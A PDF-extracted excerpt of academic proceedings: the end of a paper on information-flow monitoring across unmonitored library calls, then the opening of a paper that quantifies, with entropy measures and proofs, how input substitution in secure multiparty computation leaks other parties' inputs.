f :: (xα1 -> α2, x L -> α2)L

let f = fun x => x 42

When calling the closure, the call model will be looked up and used to label the
parameters — in this case giving 42 labeled with L. The result of the call will
be unlabeled as α2, before being labeled by α2 and returned by the function.

The second example illustrates why callbacks cannot be associated with an
unlabel model on the point of unlabeling.
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let cb = fun x => x + 1
let main = let g = flib cb in g 10

-- library part

f :: (xα1 -> (α2 -> α3, x α2 -> α3)L)L

let f = fun x => fun y => x y

When the callback cb is passed to f it is not called, rather a closure is returned
which takes another parameter that is unlabeled into α2, which in turn is used
as the parameter to the callback. Thus, in order to correctly label the value of
the parameter to the callback, α2 must be in the model state. This is true for
the second call g 10 but not for the first flib cb in the monitored program.

Finally, consider an example with a conditional callback.

f :: (xα1 -> (α2 -> α2 � α3, x α2 -> α3)L)L

let f = fun x => fun y => if y then x 42 else 42

The example illustrates the situation, where the callback may or may not be
called depending on other values inspired by the frequent use of coercions in
JavaScript libraries. This means that in some executions the variable α2 may
not be set. To handle this kind of situations it suffices that �α�ξ = L, when
ξ[α] is undefined. In addition, this interpretation allows for a limited form of
dependent models.

5 Related Work

There has been a substantial body of work in the area of dynamic information
flow control in the past decade, to a large extent motivated by the desire to pro-
vide security and privacy for JavaScript web applications. There are two big lines
of work. First, execution monitors [1,3,15,17,18] attach additional metadata (for
instance, a security level) and propagate that metadata during the execution of
a program. Second, multi-execution based approaches [6,20,28] essentially exe-
cute a program multiple times, and make sure that the execution that performs
outputs at a certain security level has only seen information less than or equal
to that security level. The multiple-facets approach [2] is an optimized imple-
mentation of multi-execution, but it is less transparent. Bielova and Rezk [4]
give a detailed survey and comparison of all kinds of dynamic information flow
mechanisms, and we refer the reader to that paper for a detailed discussion.
Both lines of work on dynamic information flow control (execution monitoring
and multi-execution) have been applied to JavaScript in the browser [13,16],
and both have dealt with the problem of interfacing with libraries in a relatively
ad-hoc way — essentially by manual programming of models of the library func-
tions, or by treating API calls as I/O operations [14]. Rajani et al. [29] propose
detailed and rigorous formal models of the DOM and event-handling parts of the
browser, and find several potential information leaks. The work in this paper is
a first step to a more principled approach of interfacing with such libraries that
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avoids the labor-intensive manual construction of such models (at the cost of
potentially losing some precision).

The problem of interfacing with libraries where no dynamic checking of infor-
mation flow control is possible, is related to the problem of checking contracts
at the boundary between statically type-checked code and dynamically type-
checked code. The problem of checking such contracts has been studied exten-
sively in higher-order programming languages. Findler and Felleisen pioneered
this line of work and proposed higher-order contracts [11]. The main challenge
addressed is that of function values passed over the boundary. Compliance of
such function values with their specified contract is generally undecidable. But
it can be handled by wrapping the function with a wrapper that will check the
contract of the function value at the point where the function is called. This
is similar to how we handle function values in this paper, and an interesting
question for future work is whether we can avoid the use of abstract identifiers
for closures by injecting the appropriate labeling/unlabeling functionality using
proxies only guided by how this is done in higher-order contract checking [8].
One concern that has received extensive attention is the proper assignment of
blame once a contract violation is detected [7,12]. Assigning blame for informa-
tion flow violations has been investigated by King et al. [21] in the setting of
static information flow checking. Our work could be seen as an application of
the idea of dynamic higher-order contract checking to information flow contracts,
something that to the best of our knowledge has not yet been considered before.
We do not consider the issue of assigning blame: if the library does not comply
with the specified contract, this is not detected at run-time.

Gradual typing [32,33] is an approach to support the evolution of dynamically
typed code to statically typed code, and it shares with our work the challenge of
interfacing soundly between the dynamically checked part of the program and the
statically checked part that no longer propagates all run-time type information.
It has also been applied in the setting of security type systems [9,10], but it
fundamentally differs in objective from our work. With gradual typing, the idea
is to start from a program that is checked dynamically, and to gradually grow
the parts that are statically checked. Our objective is to support interfacing with
parts of the program for which dynamic checking is infeasible, either because the
part is written in another language like C, or because dynamic checking would
be too expensive to start with.

6 Conclusion

In this paper we have explored a method, stateful marshaling, that enables an
information flow monitored program to call unmonitored libraries. The approach
relies on storing the labels in a model state in accordance with an unlabel model
before calling the library, and labeling the returned result by interpreting a label
model in that model state.

Additionally, we have investigated lazy marshaling of structured data in
terms of lists. The idea is similar to the concept of proxies and works by



A Principled Approach to Tracking Information Flow 69

semantically representing lists as pairs of functions, that can be wrapped with-
out recursively marshaling the entire list. When interacted with, the wrappers
unlabel one step and return unlabeled primitive values or new lazy wrappers.

Finally, using functions to represent closures, we have shown how higher-
order functions can be allowed to be passed in both directions. The approach
relies on the concept of abstract identifiers that tie labeled closures, passed from
the monitored program to the library, to call models, which describe how to
label the parameters and unlabel the result with respect to the model state of
the caller.

Future work. We have preliminary results that show that lazy marshaling in
combination with abstract identifiers is able to successfully handle references and
the challenging combination of references and higher-order functions. Further,
as discussed above, we aim to explore richer model languages, including but
not limited to dependent models and model polymorphism. Finally, experiments
with integrating our approach into JSFlow are subject to our current and future
work.
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Abstract. Secure multiparty computation enables protocol participants
to compute the output of a public function of their private inputs whilst
protecting the confidentiality of their inputs. But such an output, as
a function of its inputs, inevitably leaks some information about input
values regardless of the protocol used to compute it. We introduce foun-
dations for quantifying and understanding how such leakage may influ-
ence input behaviour of deceitful protocol participants as well as that
of participants they target. Our model captures the beliefs and knowl-
edge that participants have about what input values other participants
may choose. In this model, measures of information flow that may arise
between protocol participants are introduced, formally investigated, and
experimentally evaluated. These information-theoretic measures not only
suggest advantageous input behaviour to deceitful participants for opti-
mal updates of their beliefs about chosen inputs of targeted participants.
They also allow targets to quantify the information-flow risk of their
input choices. We show that this approach supports a game-theoretic
formulation in which deceitful attackers wish to maximise the informa-
tion that they gain on inputs of targets once the computation output is
known, whereas the targets wish to protect the privacy of their inputs.

1 Introduction

In Secure Multiparty Computations (SMC), participants ought to provide their
secret inputs and abide by a protocol in order to compute a public function in
cooperation with the other parties. Such a protocol not only allows the partici-
pants to compute the correct output without having to rely on any other third
party, but it also ensures that no information about the inputs leaks from the
computation, other than that revealed by the output itself [5,10,14,29]. Passive
adversaries are those parties who do abide by the protocol but try to infer as
much information as possible on the other parties’ inputs given all the informa-
tion they get during the protocol. On the other hand, active adversaries will try
to deviate from the protocol in order to learn more evidence on the other inputs.
Private and robust protocols have been designed so as to deal with such kinds
of adversaries, and to guarantee that the only information that leaks from the
protocol is that based on the observation of the calculated output [1,4,7,10,15].

This information that is revealed about the inputs when the output is opened
is called acceptable leakage and is commonly referred to in the literature as
c© Springer-Verlag GmbH Germany 2017
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the only information that an SMC computation is allowed to leak about the
inputs [10,19]. Current researches in SMC aim at building efficient protocols
dealing with both types of adversaries [3,11,17,19,27] and take for granted that
the function that is being calculated is secure, in that the knowledge of its
output would not harm the privacy of any of the inputs [10,15,19]. However, it
is not clear how one user, willing to take part into a secure computation, could
assess the security of a function that is at stake. One of our aims is to build on
information-theoretic principles to propose a measure of information flow that
can occur in SMC and to quantify how secure the computation of a function is.

Moreover, private and robust protocols do not question the truthfulness of
the input that each party actually provides. Indeed, we cannot prevent any
party from giving an erroneous input as any input could be his actual choice. In
particular, we cannot prevent a party from using a hazardous input which would
question the privacy of the other inputs. This liberty that a party has to be able
to influence the protocol, by deliberately choosing a particular input for his own
benefit, is called input substitution [10]. This influence is part of, and is the only
allowed influence that an SMC protocol tolerates. Again, our work introduces a
measure of such an influence that an attacker can have on an SMC protocol and
we derive a probabilistic analysis that both an attacker and an attacked party
can use to quantify the information flows that could occur after computation.

Indeed, the choice of one party’s input can make dramatic changes in the
information he gets from the output. For instance, in the three-party computa-
tion of a ∗ b + c with positive integer inputs a, b and c, held by the respective
parties A, B and C, player A is able to learn C’s input by choosing 0 as input.
We could further imagine that we know that c is bounded by an integer M and
then player A could choose his input such that a > M , so that the knowledge of
a and a ∗ b+ c would let him learn both values of b and c, by Euclidean division.

In order to study the influence an attacker can gain from input substitution,
it is helpful to define a new variant of attackers. In an SMC context, a passive
adversary provides the input he was planning to use to the protocol, abides by the
rules defined by the protocol, but is still curious, i.e. he will try to infer as much
information as possible on the other parties given the information that he is sent
during the protocol. On the other hand, the notion of active adversary reflects the
fact that such a participant would try to convey inconsistent information during
the protocol in order to maximise his information gain. We now introduce the
notion of a deceitful adversary that reflects the will of a curious participant who
abides by the protocol, to provide a judiciously chosen input that can be different
from his honest and intended input, and which in particular can optimise the
information that he seeks on the other inputs once he learns the output. We will
also consider the coalition of several such deceitful adversaries, and we will allow
them to attack any set of targets.

We can state the objectives set out for this paper as follows:

– To propose a model of attackers, targets and spectators that fits the context
of SMC and enables us to reason about the information flows that may occur
between the parties. This includes modelling the beliefs and knowledge of the
participants as probability distributions.
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– To define a mathematical measure of the information that a set of attackers can
learn on a set of targets. This can guide attackers through input substitution
and help them to choose a judicious input vector that would maximise their
information gain on average.

– Conversely, to evaluate the risk that the targeted participants (referred to as
‘targets’ below) would run when entering a computation with given inputs.

– To show that these quantitative measures can also be used for preventive mech-
anisms taken to prevent a computation from happening that would otherwise
seriously compromise the privacy of certain inputs.

– To extend our approach to a one-round game where a set of attackers A and
a set of targets T both have to choose a vector of inputs, and where A tries to
maximise the information he learns on T after computation whereas T tries
to minimise this same amount of information.

Contributions of Our Paper: Our work explores one way of assessing the security
of a function which is calculated with an SMC protocol, and we show that this
notion of secure function can complement and thus harden the security that is
ensured by the SMC protocols. We introduce the notion of deceitful adversaries
who are willing to make use of input substitution to attack their targets. We
implement a probabilistic approach based on information theory which enables
us to quantify and predict the amount of information that such attackers would
receive on their targets once a computation is executed. And we show that
notions from game theory can be fruitfully applied to understand the strategic
dynamics of input substitutions under the model of deceitful adversaries. In
future work, we will study different use contexts of SMC – e.g. infrequent e-
voting versus frequent accountancy computations. Different use contexts may
then require different measures of information leakage, as discussed in Sect. 7
below, and different proactive or reactive behaviour.

Outline of Paper: We introduce some useful notions of SMC and information
theory in Sect. 2. We give a formal definition of our model of attackers in Sect. 3.
Then in Sect. 4 we present the probabilistic inferences that an attacker can make
from the observation of the output of a secure computation. Section 5 shows how
input substitution can be made practical thanks to this analysis and we present
a game-theoretic setting that generalises this approach in Sect. 6. We compare
our approach with recent works on information flow analysis in Sect. 7 and we
conclude in Sect. 8.

2 Background

Secure Multiparty Computation: This domain of cryptography enables several
players to compute the result of a public function of their private inputs, with-
out having to rely on a third trusted party while ensuring that the inputs are
kept secret during the computation. Protocols that achieve these tasks are split
into two main categories. Yao’s garbled circuit is the basis of protocols that
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are particularly adapted to secure 2-party computations of boolean functions
[10,17,18,31]. Such protocols are based on oblivious transfer and security is
achieved since only obfuscated values of intermediate results are shared between
the parties. On the other hand, the Shamir secret sharing scheme [10,29,31] is
designed to handle secure multiparty computation of arithmetic functions. It
relies on Lagrange interpolation in finite fields and secrecy is ensured by realis-
ing the operations of the function algebraically on homomorphic shares of the
inputs.

We study in this work arithmetic functions of more than 2 inputs. We thus
assume that the functions we consider are securely computed for example by
the CEAS protocol (Circuit Evaluation with Active Security) [10] based on the
Shamir secret sharing scheme. Consequently, we considered only those operations
that are allowed by CEAS, such as addition, multiplication and multiplication by
constant. We also justify the use of subtraction in a similar manner as addition:
using the notations introduced in CEAS, players holding two shared values[[a, fa]]
and [[b, fb]] are able to share [[a− b, fa − fb]]. With the recombination vector, they
can then reconstruct the difference d = a− b. The only assumption that we have
to make is that we work in the field Z/pZ where the prime p is strictly greater
than M++M− which are respectively the absolute value of the greatest positive
number and of the smallest negative number that the output (and inputs) of all
the intermediate results can take. The output o of any computation is thus in
Z/pZ and non-negative; whenever o > M+ is true, the actual result should be
regarded as o − p, otherwise it would be o.

Information Theory: In order to measure the unpredictability of a random vari-
able [30], or in other words, the amount of information we have on it, we recall
the Shannon entropy H(X) defined for a random variable X defined on DX by:

H(X) = −
∑

x∈DX

p(x) log p(x) (1)

where log represents the binary logarithm also some times written log2. In this
paper, we will use Shannon entropy as a measure of the amount of information
that leaks from a computation. However, this choice is questionable and we will
debate this decision in the discussion of Sect. 7.

Finally, for the sake of readability, we will abuse notation throughout the
paper when there is no ambiguity. We will sum over a variable when the input
domain is obvious:

∑
XT

will refer to
∑

xT∈DT
and we will abbreviate the prob-

ability of an event as follows:
∑

XT
p(XT) will refer to

∑
xT∈DT

p(XT = xT).

3 Formal Setting

In this section, we develop a mathematical representation of an SMC computa-
tion that is suitable for information flow analysis.

We write [[1, n]] for {1, 2, . . . , n} below for n ≥ 1. For n parties P1, · · · , Pn,
we denote by P this set of parties and will partition P into 3 groups: Let A ⊆ P
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be a set of attackers. Let us define T ⊆ (P \ A) as a set of targets. Finally, the
remaining parties S = P \ (A ∪ T) are called the spectators.

In our model, each party Pi ∈ P will control one input xi ∈ Di with its
associated domain Di, that we assume to be a finite subset of Z. For the purpose
of our analyses, we will often gather the inputs with respect to the 3 groups of
participants A, T and S. By abuse of notation, we will write xA = (xi)i∈A for
the vector containing the attackers’ inputs. Similarly, we will write xT = (xi)i∈T

and xS = (xi)i∈S to refer to the targets’ and the spectators’ inputs, respectively.
The same rule applies for the domain of those vector variables and we define the
attackers’ input domain DA = ×a∈ADa, the targets’ input domain DT = ×t∈TDt

and the spectators’ input domain DS = ×s∈SDs.

Assumptions: We assume that every participant has a prior belief on each of the
3 vector inputs xA, xT and xS. We further assume that the attackers A and the
targets T come to an agreement within their own group so that they share the
same belief on those variables. Furthermore, we assume that these beliefs are
public and that every group is aware of what the others think of their potential
input. This would be a plausible assumption when all the groups believe that
the inputs are uniformly distributed. We will aim in future works to weaken that
assumption, e.g. to make such knowledge about distributions probabilistic itself.
We represent these beliefs as probability distributions and we write πA : DA −→
[0, 1] for the distribution of the attackers’ inputs from the targets’ point of view.
Similarly, we write πT : DT −→ [0, 1] for the distribution of the targets’ inputs
from the attackers’ point of view. We also assume that attackers and targets
have a shared prior belief πS : DS −→ [0, 1] on the spectators’ inputs.

From the point of view of the attackers, the values of the input xT and xS

appear as random variables that we call XT and XS respectively. Conversely, from
the targets’ point of view, the random variable corresponding to the attackers’
inputs will be written XA. Note that a lack of prior knowledge on one group of
parties may be represented as a uniform distribution over their input domain.
As every party enters their input without knowing the input value of the other
parties, we may assume that the variables XA, XT and XS are independent.

Finally, let us consider an n-ary function f with domain ×i∈PDi −→ DO. As
a function of discrete random variables, the output of f will also be considered
as a random variable, written O.

We want to observe how the attackers can update their beliefs on the targeted
parties once the output of the function f is revealed. We thus define πA,xA

T,o :
DT −→ [0, 1] which returns the posterior joint probability distribution of a set
of targeted values xT ∈ DT, given an observed output o ∈ DO and a set of
attackers’ inputs xA ∈ DA. We will detail the calculation of this function next.

4 Information Flow from One Observed Public Output

We next present how the set of attackers A can use probabilistic inference to
update their belief on the inputs of the targets in T once the values of x1, · · · , xn

have been input and the output of the public function has been calculated.
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First, based on the attackers’ beliefs on the targets’ and spectators’ distri-
butions πT and πS, the attackers calculate the prior distribution of the output
O, that they will use to update their belief on XT. From the attackers’ point
of view and for a given set of values xA = (xa)a∈A in DA, the probability for
the output O to be a given value o takes into account all the combinations of
xT = (xt)t∈T and xS = (xs)s∈S that satisfy f(x1, · · · , xn) = o. For every o in
the output domain DO, we have the following forward propagation:

p(O = o | XA = xA) =
∑

XT

XS

f(x1,··· ,xn)=o

p(XT,XS) (2)

We now consider the actual public output o as hard evidence in order to
update the attackers’ beliefs on the targets’ inputs probability distribution. By
virtue of Bayes’ theorem with conditional probabilities and noticing that p(XT =
xT | XA = xA) = p(XT = xT) since XA and XT are independent, the backward
propagation can be written as follows, for every xT in DT:

p(XT = xT | O = o,XA = xA) =
p(O = o | XT = xT) · p(XT = xT)

p(O = o | XA = xA)
(3)

The attackers’ belief on the probability distribution of XT gives us p(Xt = xt)
for each xT ∈ DT. We have also just calculated the prior probability for the
output p(O = o) in (2). Finally, the conditional probability p(O = o | XT =
xT,XA = xA) of O given xT can be calculated in a similar manner as in (2)
for the prior probability distribution of O. Indeed, we take into account all the
combinations of xS in DS that satisfy f(x1, · · · , xn) = o and we have:

p(O = o | XT = xT,XA = xA) =
∑

XS

f(x1,··· ,xn)=o

p(XS) (4)

This gives the attackers a way of recovering the joint probability distribution
of their targets πA,xa

T,o : DT −→ [0, 1], defined for any vector xT in DT, xA in DA

and o in DO by:

πA,xA

T,o (xT) = p(XT = xT | O = o,XA = xA) (5)

Based on this posterior distribution, we can measure the amount of informa-
tion we obtain by calculating H(XT | XA = xA, O = o), the specific, conditional
entropy of XT given the values xA and o that we formalise next.

Definition 1. We define the entropy of the inputs of a set of targets T attacked
by a set of attackers A as the function entA

T
: DA × DO −→ R

+
0 defined for a

given observed output o and a vector of attackers’ inputs xA ∈ DA as:

entA
T
(xA, o) =

∑

XT

g(p(XT | XA = xA, O = o)) (6)

where we define g(x) = −x log x.
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Note 1. The entropy of the posterior distribution πA,xA

T,o gives us an idea of the
amount of information that a set of attackers having input xA gets on XT once
and after they learn the public output o.

5 Anticipated Information Flow from Expected Outputs

The latter notion of entropy informs the attackers of how much information
they have on XT once the computation has been realised and the output o has
been revealed to everyone. However, the attackers and the targets may want to
measure the average amount of information that would leak from the result o of
a function before its computation occurs — and thus before we learn the value of
o. This would enable the attackers to estimate the amount of information they
would gain, whereas the targets would be able to evaluate the risk that they run
before entering a computation. We thus calculate the average entropy of variable
XT over all possible outputs weighted by their likelihood given that xA and xT

are known. We formally define an indicator that reflects this.

Definition 2. The joint weighted average entropy of variable XT attacked by
parties A is the function jwaeA

T
: DA × DT −→ R

+ defined for all xA ∈ DA and
xT ∈ DT by:

jwaeA
T
(xA,xT) =

∑

o∈DO

p(O = o | XA = xA,XT = xT) · entA
T
(xA, o) (7)

The measure defined in (7) informs us about the information that the attack-
ers would learn on average about the targets if xA and xT were chosen. But as a
group of attackers, parties A would be interested in measuring how informative
one of their inputs xA is, regardless of what the targets choose. We thus define
the average of the joint weighted average entropy over all possible values of xT

weighted by their prior probabilities.

Definition 3. The attackers’ weighted average entropy of variable XT attacked
by parties A is the function awaeA

T
: DA −→ R

+ defined for all xA ∈ DA by:

awaeA
T
(xA) =

∑

xT∈DT

p(XT = xT) · jwaeA
T
(xA,xT) (8)

We also define the targets’ weighted average entropy as the function twaeA
T

:
DT −→ R

+ defined for all xT ∈ DT by:

twaeA
T
(xT) =

∑

xA∈DA

p(XA = xA) · jwaeA
T
(xA,xT) (9)

Note 2. We notice that the attackers’ weighted average entropy can be written:

awaeA
T
(xA) =

∑

o∈DO

entA
T
(xA, o)

(
∑

XT

p(XT) · p(O = o | XA = xA,XT)

)

(10)
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But we know that p(XT) = p(XT | XA = xA) since those two random
variables are deemed to be independent. The law of total probabilities with
conditional probabilities thus gives us:

awaeA
T
(xA) =

∑

o∈DO

p(O = o | XA = xA) · entA
T
(xA, o) (11)

that we can identify to H(XT | XA = xA, O), the posterior conditional Shannon
entropy of XT given xA and O.

This function informs the attackers of how much information they are likely
to learn on XT depending on the input vector xA that they choose. The lower
measure awaeA

T
(xA) is, the more information xA reveals on XT. Let us illustrate

those definitions through simple examples and show that they can be used by
the parties to measure their expected entropy once the output is computed.

Example 1. Let us consider 3 parties X, Y and Z holding inputs corresponding
to the respective lower case letters. Let us consider the function f defined by
f(x, y, z) = 3xy − 2yz. We further imagine that attacker A = {X} is attacking
target T = {Y }, with a spectator S = {Z}. Let us first study the target’s
weighted average entropy and draw the values of twaeA

T
(y) in Fig. 1.

This graph informs the target party T of how much information the attacker
will learn on average once the output is computed. We can see that those results
are not easily predictable and that the computation of twaeA

T
(y) can indeed be

useful for party T. For example, we have twaeA
T
(6) � 1.57 and twaeA

T
(29) � 0.40,

which means that on average, input y = 29 would be more easily guessed by the
attackers than input y = 6.

Conversely, we can compute the attacker’s weighted average entropy for his
possible inputs. We draw in Fig. 2 the values of awaeA

T
(x) for all values of x.

Fig. 1. Behaviour of twaeAT(y) for the function f(x, y, z) = 3xy−2yz with inputs ranged
and uniformly distributed in [[1, 30]], where A = {X}, T = {Y } and S = {Z}.
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Here again, we can first observe that the results we obtain are not straight-
forward. Indeed, some inputs x are more informative than others. In particular,
we can speculate that on average, the attacker X would learn more information
about the target’s input if he chooses an odd input x.

In this simple example, we can have an intuitive idea that would explain this
conjecture. Indeed, the expression of f can be written as follows: f(x, y, z) =
y(3x − 2z). Consequently, if x is odd, 3x will be odd and necessarily 3x − 2z
will be odd as well. Thus, the parity of variable y is determined by the parity
of the output. More precisely, we know that y is odd if and only if the output
o is odd, which would rule out half of the possibilities for y, and which could
not be possible if x was even. However, in more complex cases, a mathematical
explanation that would predict the amount of information that an attacker could
learn on a target is not available in general. The computation and inspection of
awaeA

T
could give us an estimate of such information flow.

This example also shows us another interesting feature that an attacker could
use. Let us imagine that the attacker A has as honest, intended input the value
x = 14. We can imagine that this attacker would like to learn as much informa-
tion as possible on the input of target T, but that he would also be mindful of
the accuracy of the output of the SMC computation. Then, the graph in Fig. 2
would again allow him to substitute his input for another one, say x = 15, that
is as close as possible as his honest input, but that will also give him much more
information on y. On the other hand, we could also imagine that the parties are
intelligent enough to detect if one of the inputs has deliberately been corrupted.
In particular, the targets could also run probabilistic analyses on the attackers’
inputs. Then, choosing a corrupted input that is close to his honest input might
enable an attacker to overcome the risk of being accused of cheating.

Fig. 2. Behaviour of awaeAT(x) for the function f(x, y, z) = 3xy − 2yz with inputs
uniformly distributed over [[1, 30]], where A = {X}, T = {Y } and S = {Z}.
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Example 2. We would like to explore if measures awaeA
T

and twaeA
T

effectively
helps us to predict the average amount of information flow that occurs after a
computation reveals its output. In order to assess the information that these func-
tions provide, we measure the average number of tries that the attacker A needs
in order to guess the targeted inputs xT once the computation is executed, and
given the values of awaeA

T
or twaeA

T
respectively. Theoretically, we would expect

this guessing entropy to grow at least exponentially with the Shannon entropy
[23]. We consider the same function f(x, y, z) = 3xy − 2yz as in Example 1 with
the same groups A = {X}, T = {Y } and S = {Z} having uniforms prior beliefs
on the other inputs over [[1, 30]], and we perform the following test.

For each value of x ∈ [[1, 30]], we randomly pick some value for y and z and
calculate the output o = f(x, y, z). We then let A = {X} guess the value of
xT = {y} given its posterior distribution and the knowledge of o. In particular,
A is more likely to try a value of xT that has a high posterior probability. We
record the number of tries that were needed for A to find the correct value of
xT and repeat the iteration 500 times. We report in Fig. 3 the average number
of tries nguess as a function of awaeA

T
(x) for the 30 values of x that we tested.

We also performed the same regression test by fixing the initial value of y and
choosing a random value for x in order to reflect the point of view of T, and we
also plotted the average number of tries nguess that A needs to guess xT as a
function of twaeA

T
(y) for all values of y ∈ [[1, 30]]. The results displayed in Fig. 3

show that the higher the value of awaeA
T
(x) is, the more tries an attacker would

need to guess xT. Conversely, the higher the value of twaeA
T
(y) is, the more tries

A needs to guess xT, which confirms the intuitive meaning of those functions.
The graph of Fig. 3 also suggests that measure twaeA

T
predicts occurring infor-

mation flow less precisely than awaeA
T

does. This can be explained by the fact
that twaeA

T
not only takes into account the beliefs that A has on xT, but it also

considers the belief that T has on xA, which awaeA
T

does not need.
We now present some mathematical properties of awaeA

T
. A set of attackers

A can manage to learn no less information on a set of targets T
′ than they can

learn on a set of target T if T′ ⊆ T. We formalise the idea in the theorem below.

Theorem 1. Let P be a set of parties partitioned into a set of attackers A,
targets T, and spectators S. We also consider a subset of targets T′ ⊆ T. For all
attackers’ input xA ∈ DA, we then have:

awaeA
T′(xA) ≤ awaeA

T
(xA) (12)

Proof. For the sake of readability, we will use the following abuse of notation in
the proofs. For a given vector xA, we will abbreviate the probability p(XA = xA)
as p(xA). Similarly, for a given event X, we will write the conditional probability
p(X | XA = xA) as p(X | xA). The expression of the awaeA

T
for the set of targets

T = T
′ ∪ T

′′, where T
′′ = T \ T

′, and for an input xA ∈ DA is defined as:
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Fig. 3. Correlation between the average number of guesses nguess (that A needs on
average to guess xT) and the values of awaeAT(x) and twaeAT(y) for the function
f(x, y, z) = 3xy − 2yz with inputs ranged in [[1, 30]], where A = {X}, T = {Y } and
S = {Z}. We ran 30 tests for each values of x (left) and 30 tests for each values of y
(right) that we detail in Example 2.

awaeA
T
(xA) =

∑

O

p(O | xA) ·
[
∑

XT

g(p(XT | O,xA))

]

=
∑

O

p(O | xA) ·
⎡

⎣
∑

X
T′

∑

X
T′′

g(p(XT′ ,XT′′ | O,xA))

⎤

⎦ (13)

where we recall g(x) = −x log x.
As the function g is concave, we have:

∑

X
T′′

g (p(XT′ ,XT′′ | O,xA)) ≥ g(
∑

X
T′′

p(XT′ ,XT′′ | O,xA))

So Eq. (13) becomes:

awaeA
T
(xA) ≥

∑

O

p(O | xA) ·
⎡

⎣
∑

X
T′

g(
∑

X
T′′

p(XT′ ,XT′′ | O,xA))

⎤

⎦

But we know that
∑

X
T′′ p(XT′ ,XT′′ | O,xA) = p(XT′ | O,xA), so we get:

awaeA
T
(xA) ≥

∑

O

p(O | xA) ·
⎡

⎣
∑

X
T′

g(p(XT′ | O,xA))

⎤

⎦

which is equivalent to the expected result:

awaeA
T
(xA) ≥ awaeA

T′(xA) �

We have seen that the smaller the set of targets, the more information the
attackers can learn. We show now a similar result: intuitively, the fewer the
attackers are, the less information they can infer.
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Theorem 2. Let P be a set of parties partitioned into a set of attackers A,
targets T and spectators S. We also define an additional set of parties A

′′ ⊆ A

that will turn into spectators by setting A
′ = A \ A

′′ and S
′ = S ∪ A

′′. We have:

∀xA′ ∈ DA′ . min
x

A′′∈D
A′′

awaeA
T

(
xA′

xA′′

)

≤ awaeA
′

T
(xA′) (14)

where the notation
(
xA′

xA′′

)

represents the vector in DA � DA′ × DA′′ that con-

catenates xA′ and xA′′ .

Theorem 2 means that if a set of attackers can gain a certain amount of
information on a set of targets, they cannot increase that amount of information
gain if some attackers leave the group.

In other words, a set of attackers A that contains a smaller set A′ can always
manage to learn at least as much information as the latter.

Proof. Let xA′ ∈ DA′ be a vector of attackers’ input. Let us show that there

exists a xA′′ ∈ DA′′ that satisfies awaeA
T

(
xA′

xA′′

)

≤ awaeA
′

T
(xA′). The weighted

average entropy for attackers A
′ and target set T can be written by definition

as:

awaeA
′

T
(xA′) =

∑

O

p(O | xA′) ·
[
∑

XT

g(p(XT | O,xA′))

]

where we recall the definition of g(x) = −x log x.
The law of total probability with conditional probabilities gives us:

p(XT | O,xA′) =
∑

X
A′′

p(XA′′ | O,xA′) · p(XT | O,

(
xA′

XA′′

)

)

As
∑

X
A′′ p(XA′′ | O,xA′) = 1 and g is concave, we have:

g(
∑

X
A′′

p(XA′′ | O,xA′)·p(XT | O,

(
xA′

XA′′

)
)) ≥

∑

X
A′′

p(XA′′ | O,xA′)·g(p(XT | O,

(
xA′

XA′′

)
))

and thus:

awaeA
′

T
(xA′) ≥

∑

O

p(O | xA′) ·
⎡

⎣
∑

XT

∑

X
A′′

p(XA′′ | O,xA′) · g(p(XT | O,

(
xA′

XA′′

)

))

⎤

⎦

(15)
However, by virtue of Bayes’ theorem with conditional probabilities, we have:

p(O | xA′) · p(XA′′ | O,xA′) = p(XA′′ | xA′) · p(O |
(
xA′

XA′′

)

)
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So Eq. (15) becomes:

awaeA
′

T
(xA′) ≥

∑

O

∑

XT

∑

X
A′′

p(XA′′ | xA′) · p(O |
(
xA′

XA′′

)

) · g(p(XT | O,

(
xA′

XA′′

)

))

and by rearranging the sums, we have:

awaeA
′

T
(xA′) ≥

∑

X
A′′

p(XA′′ | xA′)·
[
∑

O

p(O |
(
xA′

XA′′

)

) ·
∑

XT

g(p(XT | O,

(
xA′

XA′′

)

))

]

which is equivalent to:

awaeA
′

T
(xA′) ≥

∑

X
A′′

p(XA′′ | xA′) · awaeA
T

(
xA′

XA′′

)

≥
∑

X
A′′

p(XA′′) · awaeA
T

(
xA′

XA′′

)

since XA′ (which belongs to the attackers) and XA′′ (that is held by the specta-
tors) are independent.

This last equation means that the average of awaeA
T

(
xA′

XA′′

)

over the values

of XA′′ is smaller than awaeA
′

T
(xA′). In particular, we can choose an appropriate

vector xA′′ = arg minX
A′′ awaeA

T

(
xA′

XA′′

)

that will realise the desired property

awaeA
T

(
xA′

xA′′

)

≤ awaeA
′

T
(xA′). �

Note 3. If we consider an empty set of attackers A
′, Theorem 2 states that a

set of attackers A that attack targets T always have a combination of inputs xA

that can optimise their goal. Not only does this imply that input substitution is
effective, but it also demonstrates that this measure of information flow adapts
easily to any possible target set T, whereas a semantic approach would be less
scalable. Let us now illustrate these theorems with a simple example.

Example 3. Let us consider 5 parties A, B, C, D and E holding an input rep-
resented as the corresponding lower case letter. We assume that each of these
inputs range over the domain D = [[1, 5]], and that the beliefs of all the parties
on the other inputs are uniform over this domain. Let us consider the function f
defined by f(a, b, c, d, e) = ae+(b−2)(b−3)(c+d)+2(b−2)c+3d. We study the
values of awaeA

T
that a set of attackers A learn on their targets T and compare

different situations. We first study the case where A = {A,B} wish to attack
T = {C,D} and compare it to the case where A attack a smaller set of targets
T
′ = {C}. We then compare the first case to the situation where a restricted set

of attackers A
′ = {A} attacks T.
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Fig. 4. Comparison of information flow on T and a smaller T
′.

Case 1: Let us compare and draw in Fig. 4 the values of awaeA
T

(
a
b

)

and

awaeA
T′

(
a
b

)

for all values of attackers’ input
(

a
b

)

. We notice that for all input

values
(

a
b

)

, we have awaeA
T′

(
a
b

)

≤ awaeA
T

(
a
b

)

as claimed in Theorem 1.

We can also notice the particular point awaeA
T′(5, 4) = 0 which means that

for the input (a, b) = (5, 4), the attackers A will learn the exact value of their
target input c. Indeed, in this case, the attackers know that the output value can
be written o = 6c + 5(e + d). For inputs ranged in D =[[1, 5]], we can prove that
the value of the target input c is then determined by the value of the output.

Case 2: We now want to observe the influence that a set of attackers can gain

when they collude. We draw in Fig. 5 the values of awaeA
′

T
(a) and awaeA

T

(
a
b

)

for all values of a and b. We can notice that for all a, there exists a b such that

awaeA
T

(
a
b

)

≤ awaeA
′

T
(a), as claimed in Theorem 2.

However, we can also notice that the attackers have to choose their inputs
cautiously. For example, awaeA

T
(5, 1) � 3.97 whereas awaeA

′
T

(5) � 2.92, which
means that even though the attackers A know the values of more inputs than
A

′, some combinations of inputs might hinder their information retrieval.

Moreover, we can add that the values of awaeA
T

for the different values of
xA ∈ DA can guide the attackers towards a choice of informative inputs with
respect to the set of targets that they wish to attack. Conversely, the targets can
take advantage of the values provided by twaeA

T
